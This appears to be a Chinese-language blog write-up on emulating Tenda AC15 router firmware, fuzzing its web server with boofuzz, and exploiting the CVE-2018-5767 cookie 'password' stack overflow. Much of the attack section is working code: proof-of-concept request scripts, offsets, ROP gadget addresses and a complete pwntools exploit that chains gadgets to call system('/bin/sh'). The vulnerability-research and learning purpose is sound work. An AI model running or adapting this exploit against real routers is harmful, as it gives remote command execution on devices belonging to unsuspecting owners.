Contents
  1. 1. 关于fuzz
    1. 1.1. Boofuzz安装(ubuntu20)
  2. 2. 固件模拟
    1. 2.1. user-mod
  3. 3. 分析
    1. 3.0.1. fuzz
    2. 3.0.2. 思路
    3. 3.0.3. EXP
  • 4.
    1. 4.1. GoAhead
    2. 4.2. fuzz
    3. 4.3. 其他问题
  • 影响产品:Tenda AC15路由器

    影响版本:5767:V15.03.05.16 & 10987:V15.03.05.18

    固件下载链接(V15.03.05.16):https://down.tendacn.com/uploadfile/201401/AC15/US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar

    关于fuzz

    Fuzzing引擎算法中,测试用例的生成方式主要有2种:

    1)基于变异:根据已知数据样本通过变异的方法生成新的测试用例;

    2)基于生成:根据已知的协议或接口规范进行建模,生成测试用例;

    一般Fuzzing工具中,都会综合使用这两种生成方式。

    基于变异的算法核心要求是学习已有的数据模型,基于已有数据及对数据的分析,再生成随机数据做为测试用例。

    • 而Boofuzz是Sulley的继承者,属于基于生成黑盒模糊测试

    Boofuzz安装(ubuntu20)

    github:https://github.com/jtpereyda/boofuzz

    1
    2
    3
    4
    5
    6
    7
    $ sudo apt-get install python3-pip python3-venv build-essential
    $ mkdir boofuzz && cd boofuzz
    $ python3 -m venv env
    $ source env/bin/activate
    (env) $ pip install -U pip setuptools
    (env) $ pip install boofuzz
    $ alias python_boofuzz='[env_path]/bin/python'

    官方文档:https://boofuzz.readthedocs.io/en/stable/

    固件模拟

    固件解包不多说了

    user-mod

    1
    2
    3
    4
    5
    $ cp $(which qemu-arm-static) ./
    $ sudo chroot . ./qemu-arm-static ./bin/httpd
    # 😁可以直接模拟起来
    # 如果要用gdb调试
    $ sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd

    但是程序并没有任何动静,所以我们定位到WeLoveLinux字符串所在的函数sub_2CEA8

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    puts("\n\nYes:\n\n      ****** WeLoveLinux****** \n\n Welcome to ...");
    sub_2F04C();
    while ( check_network(v17) <= 0 ) // 如果验证不通过,就会循环sleep,卡死
    sleep(1u);
    v1 = sleep(1u);
    if ( ConnectCfm(v1) )
    {
    ...
    }
    else // ConnectCfm不通过,也会报错退出
    {
    printf("connect cfm failed!");
    v2 = 0;
    }
    return v2;

    所以就考虑patch修改一下,将R0都修改为1即可绕过

    借助在线汇编反汇编网站进行patch(或者使用keypatch):

    替换文件后模拟运行,发现监听的IP地址不是我虚拟机网卡地址。(关于这个connect的报错字符,并没有在文件中找到,暂且不管了

    再次定位到报错字符串位置,看看这个奇怪的ip是怎么来的

    往上找到a1

    定位到a1的由来

    再次查找该全局变量的引用,并寻找赋值语句。

    GetValue函数获取lan.ip,即为g_lan_ip,但是还是不知道这个函数是怎么运作的…

    参考文章指出这个函数往上的check_network是一个外部函数,定义在libcommon.so中(这是怎么知道的? 在其中能找到check_network->getLanIfName()->get_eth_name(0)->br0),所以我们可以自己新建一个虚拟网卡br0

    1
    2
    $ sudo tunctl -t br0 -u `whoami`
    $ sudo ifconfig br0 192.168.65.1/24

    再次运行就成功~

    分析

    两个漏洞都位于bin/httpd文件中

    1
    2
    3
    4
    5
    6
    7
    8
    $ file ./bin/httpd 
    ./bin/httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
    $ checksec ./bin/httpd
    Arch: arm-32-little
    RELRO: No RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8000)

    从该文件中找到的函数可以看出是基于GoAhead

    CVE-2018-5767漏洞在R7WebsSecurityHandler函数

    strstr()匹配到password=处,并使用sscanf(),通过正则表达式,匹配password的值读到v34

    sscanf()函数用于从字符串中读取指定格式的数据,其原型如下:
    int sscanf (char *str, char * format [, argument, …]);

    【参数】参数str为要读取数据的字符串;format为用户指定的格式;argument为变量,用来保存读取到的数据。

    【返回值】成功则返回参数数目,失败则返回-1,错误原因存于errno 中。

    sscanf()会将参数str 的字符串根据参数format(格式化字符串)来转换并格式化数据(格式化字符串请参考scanf()), 转换后的结果存于对应的变量中。

    sscanf()与scanf()类似,都是用于输入的,只是scanf()以键盘(stdin)为输入源,sscanf()以固定字符串为输入源。

    理了半天这个正则表达式 不如写一个测试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    // test.c
    #include<stdio.h>
    #include<string.h>

    int main(){
    char result[100] = "";
    char s[] = "username=111;passwd=123;whoami=root";
    char *p;
    p = strstr(s, "passwd=");
    printf("After strstr() -------------> %s\n", p);

    sscanf(p, "%*[^=]=%[^;];*", result);
    printf("After regular expression ---> %s\n", result);
    return 0;
    }
    1
    2
    3
    $ ./test 
    After strstr() -------------> passwd=123;whoami=root
    After regular expression ---> 123

    而这里没有对v41的长度进行检测,如果password被我们伪造的过长,就会产生栈溢出。

    IDA中导入结构体View–>Open Subviews–>Local Types 中可以看到本地已有的结构体,右击 insert.可以添加 C 语言声明的结构体

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    struct websRec {
    ringq_t header; /* Header dynamic string */
    __time_t since; /* Parsed if-modified-since time */
    char* cgiVars; /* CGI standard variables */
    char* cgiQuery; /* CGI decoded query string */
    __time_t timestamp; /* Last transaction with browser */
    int timeout; /* Timeout handle */
    char ipaddr[32]; /* Connecting ipaddress */
    char type[64]; /* Mime type */
    char *dir; /* Directory containing the page */
    char *path; /* Path name without query */
    char *url; /* Full request url */
    char *host; /* Requested host */
    char *lpath; /* Cache local path name */
    char *query; /* Request query */
    char *decodedQuery; /* Decoded request query */
    char *authType; /* Authorization type (Basic/DAA) */
    char *password; /* Authorization password */
    char *userName; /* Authorization username */
    char *cookie; /* Cookie string */
    char *userAgent; /* User agent (browser) */
    char *protocol; /* Protocol (normally HTTP) */
    char *protoVersion; /* Protocol version */
    int sid; /* Socket id (handler) */
    int listenSid; /* Listen Socket id */
    int port; /* Request port number */
    int state; /* Current state */
    int flags; /* Current flags -- see above */
    int code; /* Request result code */
    int clen; /* Content length */
    int wid; /* Index into webs */
    char *cgiStdin; /* filename for CGI stdin */
    int docfd; /* Document file descriptor */
    int numbytes; /* Bytes to transfer to browser */
    int written; /* Bytes actually transferred */
    void (*writeSocket)(struct websRec *wp);
    }

    v41修改为websRec结构体(右键 -> Convert to struct*...

    可以看出,获取的是Cookie字段的值

    fuzz

    使用boo-fuzz框架,

    测试溢出

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    # fuzz.py
    from boofuzz import *

    IP = "192.168.65.1"
    PORT = 80

    def check_response(target, fuzz_data_logger, session, *args, **kwargs):
    fuzz_data_logger.log_info("Checking test case response...")
    try:
    response = target.recv(512)
    except:
    fuzz_data_logger.log_fail("Unable to connect to target. Closing...")
    target.close()
    return

    #if empty response
    if not response:
    fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")
    target.close()
    return

    #remove everything after null terminator, and convert to string
    #response = response[:response.index(0)].decode('utf-8')
    fuzz_data_logger.log_info("response check...\n" + response.decode())
    target.close()
    return

    def main():
    '''
    options = {
    "start_commands": [
    "sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd"
    ],
    "stop_commands": ["echo stopping"],
    "proc_name": ["/usr/bin/qemu-arm-static ./httpd"]
    }
    procmon = ProcessMonitor("127.0.0.1", 26002)
    procmon.set_options(**options)
    '''

    session = Session(
    target=Target(
    connection=SocketConnection(IP, PORT, proto="tcp"),
    # monitors=[procmon]
    ),
    post_test_case_callbacks=[check_response],
    )

    s_initialize(name="Request")
    with s_block("Request-Line"):
    # Line 1
    s_group("Method", ["GET"])
    s_delim(" ", fuzzable=False, name="space-1-1")
    s_string("/goform/123", fuzzable=False) # fuzzable 1
    s_delim(" ", fuzzable=False, name="space-1-2")
    s_static("HTTP/1.1", name="HTTP_VERSION")
    s_static("\r\n", name="Request-Line-CRLF-1")
    # Line 2
    s_static("Host")
    s_delim(": ", fuzzable=False, name="space-2-1")
    s_string("192.168.0.5", fuzzable=False, name="IP address")
    s_static("\r\n", name="Request-Line-CRLF-2")
    # Line 3
    s_static("Connection")
    s_delim(": ", fuzzable=False, name="space-3-1")
    s_string("keep-alive", fuzzable=False, name="Connection state")
    s_static("\r\n", name="Request-Line-CRLF-3")
    # Line 4
    s_static("Cookie")
    s_delim(": ", fuzzable=False, name="space-4-1")
    s_string("bLanguage", fuzzable=False, name="key-bLanguage")
    s_delim("=", fuzzable=False)
    s_string("en", fuzzable=False, name="value-bLanguage")
    s_delim("; ", fuzzable=False)
    s_string("password", fuzzable=False, name="key-password")
    s_delim("=", fuzzable=False)
    s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True) # fuzzable 2
    s_static("\r\n", name="Request-Line-CRLF-4")
    # over
    s_static("\r\n")
    s_static("\r\n")

    session.connect(s_get("Request"))
    session.fuzz()

    if __name__ == "__main__":
    main()

    boofuzz提示出现错误(也可以通过访问127.0.0.1:26000进行图形化界面查看)

    根据fuzz结果编写一个测试poc

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # testPOC
    #!usr/bin/python
    from pwn import *
    import requests

    ip = "192.168.65.1"
    url = "http://%s/goform/execCommand"%ip
    cookie = {"Cookir":"password="+cyclic(600)}
    ret = requests.get(url=url,cookies=cookie)
    print ret.text

    gdb-nultiarch看到错误并没有跳到我们期望的随机地址,所以跟踪错误,查看原因

    可以看出,程序执行流程中,执行到了ldrb ip, [r3],会将存储地址为R3的字节数据读入IP,而此时的R3为0x6561616e,这个地址是非法的,无法访问该地址内的数据填入IP。

    思路

    所以我们可以考虑将该地址设置成合法地址(比如0x2CEA8,此处有显著打印****** WeLoveLinux******)。

    1
    2
    pwndbg> cyclic -l naae
    452

    所以可以设置"password=" + cyclic(452) + p32(0x2CEA8) + "B"*100,测试了一下GG了。

    这个偏移不对啊?再次测试的时候,偏移就变成了448,其实按照char v34[128]; // [sp+304h] [bp-1C0h] BYREF的大小也应该是448,所以再次修改"password=" + cyclic(448) + p32(0x2CEA8) + "B"*100,gdb中PC寄存器已被修改为我们的目标地址0x2CEA8

    这次程序开始持续刷新0x2CEA8处内容,成功利用。

    由于开启了NX,所以不能返回shellcode了。

    考虑使用gadget控制R0,再跳转到system函数,从而执行system("/bin/sh")

    1
    2
    .text:0003B0F4                 MOV             R0, R3  ; command
    .text:0003B0F8 BL system

    在代码段中找到一条合适的,但是由于参数是由R3->R0,还是不方便控制参数,想想还有没有其他方法..


    继续看ida中,根据gdb报错地址0x2c5cc,回溯发现是由于读取password后进入了if

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    {
    {
    ...
    if ( strlen(s) <= 3
    || (v43 = strchr(s, '.')) == 0
    || (v43 = (char *)v43 + 1, memcmp(v43, "gif", 3u))
    && memcmp(v43, "png", 3u)
    && memcmp(v43, "js", 2u)
    && memcmp(v43, "css", 3u)
    && memcmp(v43, "jpg", 3u)
    && memcmp(v43, "jpeg", 3u) )
    {
    ...
    }
    }
    return 0;
    }

    if的条件是长度<=3 || 不存在. || 不存在jpg&png&js…,所以跳出if的条件是长度>3 && 存在. && 存在jpg或png或js….

    所以我们的password里需要存在.jpg就可以直接return返回,直接控制输入的password来布置堆栈就好了。(主要是不写.jpg这种,就会进入执行很多代码,对堆栈大洗盘,不好控制)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # testPOC2
    #!usr/bin/python
    from pwn import *
    import requests

    ip = "192.168.65.1"
    url = "http://%s/goform/execCommand"%ip
    cookie = {"Cookir":"password=" + cyclic(444) + ".jpg" + p32(0x2CEA8) + "B"*100}
    ret = requests.get(url=url,cookies=cookie)
    print ret.text

    使用ROPgadget查找可用的gadget,考虑使用栈来控制R0,最好控制的就是SP栈顶了,恰好找到了合适的gadget,该gadget会将栈顶赋值给R0,考虑将栈顶设置为/bin/sh,并跳转到R3。

    1
    2
    3
    4
    $ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
    ...
    0x00040cb8 : mov r0, sp ; blx r3
    ...

    继续寻找可以控制R3的gadget,将R3设置为system

    1
    2
    3
    4
    $ ROPgadget --binary ./lib/libc.so.0 --only "pop"
    ...
    0x00018298 : pop {r3, pc}
    ...

    在gdb中vmmap查看libc基址,但是这里有个坑,通过该libc基址找到的system函数,虽然可以被gdb识别为system,但是并不能实现system,而gadget是可用的…所以直接p system找到可用system地址

    EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    #!usr/bin/python
    from pwn import *
    import requests

    context.binary = "./bin/httpd"
    libc = ELF("./lib/libc.so.0")

    ip = "192.168.65.1"
    url = "http://%s/goform/test"%ip


    libc_base = 0xff5d5000
    # sys_addr = libc_base + libc.sym['system']
    sys_addr = 0xff7460f4
    gadget2 = libc_base + 0x40cb8 # 0x40cb8 ; mov r0, sp ; blx r3
    gadget1 = libc_base + 0x18298 # 0x18298 : pop {r3, pc}
    success("gadget1 = "+hex(gadget1))
    success("gadget2 = "+hex(gadget2))
    # [+] gadget1 = 0xff5ed298
    # [+] gadget2 = 0xff615cb8


    cookie = {"Cookie":"password=" + cyclic(444) + ".jpg" + p32(gadget1, endian="little") + p32(sys_addr, endian="little") + p32(gadget2, endian="little") + "/bin/sh\x00"}

    ret = requests.get(url=url,cookies=cookie)
    print ret.text

    GoAhead

    关于这个GoAhead,可以下载源码https://github.com/Grant999/goahead-1,简单分析发现`websUrlHandlerDefine`这个函数,和调用了漏洞函数`R7WebsSecurityHandler`的函数很类似,所以推断这应该就是用户二次开发GoAhead中的`websSecurityHandler`或者自定义的函数。

    但是关于这里的结构体由来,我还不是很清楚…

    fuzz

    首先是fuzz相关知识=无,boofuzz的使用也没有掌握,官方文档看起来不友好,语法不会…只能看着别人的脚本依葫芦画瓢。

    其他问题

    每次分析程序的时候虽然可以大概理清楚需要什么,但是不够..果断?反汇编和反编译读的太笼统,还有一些函数的掌握不到位,GG

    只在测试了解只是用/goform是不能的,比如要再加上一个uri –> /goform/xxx才行

    Reference:

    http://www.tearorca.top/index.php/2020/04/05/%E5%88%9D%E6%8E%A2boofuzz/#i-6

    https://cq674350529.github.io/2019/03/31/IoT%E8%AE%BE%E5%A4%87%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90%E4%B9%8B%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AEfuzz/

    https://zhuanlan.zhihu.com/p/43432370

    https://blog.csdn.net/song_lee/article/details/104334096

    Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 fuzz